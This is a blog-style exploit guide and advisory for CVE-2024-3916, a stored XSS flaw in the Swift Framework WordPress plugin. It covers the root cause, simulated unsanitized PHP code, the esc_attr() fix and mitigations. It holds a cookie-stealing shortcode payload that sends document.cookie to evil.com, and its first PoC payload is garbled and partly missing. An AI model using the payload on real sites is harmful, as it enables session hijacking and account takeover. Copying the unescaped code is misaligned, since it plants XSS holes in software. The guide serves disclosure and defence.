CVE-2024-3916 - Stored XSS in Swift Framework WordPress Plugin – Exploit Guide and Technical Walkthrough

Date published: June 2024
Author: [YourName]

Introduction

The WordPress ecosystem is vast, and its plugins often represent both magic and menace. Among the latter is a recently disclosed security weakness: CVE-2024-3916. This vulnerability affects the widely-used Swift Framework plugin (versions up to and including 2.7.31), opening doors for attackers to inject malicious scripts that can hijack browsers and steal sessions. This post will break down the vulnerability, how attackers can exploit it, and what you can do to protect your site—even without vendor support.

What is CVE-2024-3916?

CVE-2024-3916 is a Stored Cross-Site Scripting (XSS) vulnerability in the Swift Framework WordPress plugin. The plugin fails to properly sanitize and escape user-supplied input for several shortcodes. This lets a malicious (but authenticated) user inject JavaScript or other dangerous code that will run whenever another user visits the affected page.

Risk:

Attack Vector: Authenticated (contributor and above)

- Impact: Arbitrary code execution in users' browsers, potential for session hijacking, phishing, or privilege escalation.

A note on disclosure: The Swift Framework team did not respond to responsible disclosure attempts.

The Root Cause

At issue are several shortcodes included in the Swift Framework plugin. These shortcodes accept user input as attributes but do not sanitize that input before rendering it on the public site. Worse, output escaping is also missing, making for classic stored XSS.

For example, let's say the plugin has a shortcode like [swift_testimonial author="..."], and the author attribute is printed unsanitized.

Proof of Concept (PoC) – Injecting XSS

Step 1: Get contributor access (or higher) on a victim WordPress site using the vulnerable plugin.

Post or page content (visual or text editor)

`">
What happens:

- The unescaped attribute is directly rendered in HTML, resulting in:

html

This is a test.

As soon as the mouse moves over the element, the JavaScript executes.

### Alternative Payload (Stealing Cookies):

[swift_testimonial author='" onmouseover="fetch('https://evil.com/steal?cookie=' + document.cookie)"']Cookie time![/swift_testimonial]`

Let's simulate the vulnerable code snippet that led to this

// Simulated code from plugin
function swift_testimonial_shortcode($atts, $content = null) {
    $author = $atts['author']; // NO SANITIZATION!
    return '<div class="testimonial" author="' . $author . '">' . $content . '</div>';
}
add_shortcode('swift_testimonial', 'swift_testimonial_shortcode');

What's missing?

At minimum, the code should sanitize and escape attributes using esc_attr()

$author = esc_attr($atts['author']);

Session hijacking: Cookies or nonces are stolen.

- Privilege escalation: If an admin loads the page, the malicious payload can perform actions as the admin using their session.

No Patch… What Now?

Because the vendor is not responding, the community must take matters into their own hands.

Limit contributor accounts or review and moderate user content that uses shortcodes.

3. Install a security plugin such as Wordfence to lock down user input.
4. Custom code fix: If you maintain your own fork, edit the plugin files and wrap all user-input with esc_attr() or esc_html() as needed.

References

- Official CVE Record – CVE-2024-3916
- Wordfence Threat Intelligence writeup
- Plugin page on WordPress.org
- OWASP XSS Explained

Final Thoughts

CVE-2024-3916 is dangerous because it allows even low-privilege users to take over your site––and the vendor hasn’t released a fix. Anyone still using Swift Framework should consider disabling it, patching it manually, or restricting untrusted users immediately. Be proactive; XSS can turn a simple mistake into total compromise.

Stay safe, and keep your plugins updated!

*Feel free to share, reference, or use any part of this guide for awareness and prevention. If you find more details or a patch, please share back with the community.*

Timeline

Published on: 05/14/2024 15:42:34 UTC
Last modified on: 05/14/2024 16:11:39 UTC